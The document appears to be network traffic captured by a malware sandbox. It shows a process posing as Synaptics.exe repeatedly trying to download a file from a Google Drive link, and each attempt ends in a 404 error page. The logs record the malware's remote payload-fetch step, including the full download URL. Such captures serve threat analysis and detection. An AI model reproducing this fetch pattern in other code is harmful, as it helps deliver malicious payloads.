2025-01-02 19:20:40 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 4e 64 68 78 62 31 74 51 6a 72 45 55 68 48 58 35 74 75 50 43 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="qNdhxb1tQjrEUhHX5tuPCA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:40 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.8	49845	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:40 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.8	49850	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:41 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-A6Cbg5EuF_-y_MwpGOxKhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.8	49851	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:41 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-aGiNEBorERGboPLdBqsDrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.8	49855	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:42 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-937SpizfePtvCUPEkFKECQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.8	49856	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:42 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:42 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rAuC6OPRtuvj4ufijylfpdBfQSLl_2LxQujk1BbXGy7QrBV_gYOTaopVxw38n80rNknxrOm8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:42 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DFzvJnAJxTfhvSsngRusPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:42 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:42 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 6d 54 57 61 74 46 73 48 6b 51 68 56 6b 54 6c 51 72 72 45 43 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="smTWatFsHkQhVkTlQrrECA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:42 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.8	49854	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:42 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:42 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6c389yRC9jgAnJuizgHDjdtUEg825IPBGdhyPBxn55DMoFQBjbaw8RY-tLl5My71A6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:42 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-imnkTUiKSFjU7r00iw1d9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:42 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 7a 4b 67 6f 68 32 2d 59 35 75 42 79 64 45 47 77 72 66 36 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="TzKgoh2-Y5uBydEGwrf6QA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.8	49857	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:42 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-5_L0cnPw0NSPBzf_S_IlYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	49858	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:43 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-2uDxred4GwZncefyiE915g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	49859	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:43 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:43 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7kSfA0wbYMVjio-AzZ8tneh6MW2HrdIm-o3tUs8dem0gDBiKi9OUWDdiuvex8fWBXaLEecv60 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:43 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-LBvyxlLNATHWWKCT-CkkWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:43 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:43 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 6a 56 5f 6c 49 67 6b 64 66 44 69 41 57 52 73 4f 58 35 55 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="cjV_lIgkdfDiAWRsOX5UHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
